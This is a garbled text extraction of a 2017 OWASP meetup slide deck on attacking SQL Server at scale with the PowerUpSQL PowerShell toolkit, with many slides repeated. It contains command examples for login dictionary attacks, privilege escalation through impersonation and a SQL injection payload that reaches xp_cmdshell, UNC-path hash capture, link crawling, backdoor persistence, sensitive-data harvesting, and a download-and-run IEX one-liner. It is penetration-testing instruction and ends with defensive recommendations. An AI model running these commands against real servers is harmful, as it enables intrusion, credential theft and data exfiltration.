Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 7: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)

Scalability via runspace threading Flexibility via pipeline support

ps objects and data tables Portability

o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file

Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential

PowerUpSQL Overview Functions

Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd

httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions

PowerUpSQL Overview Where can I get it

GithubhttpsgithubcomnetspiPowerUpSQL

PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled
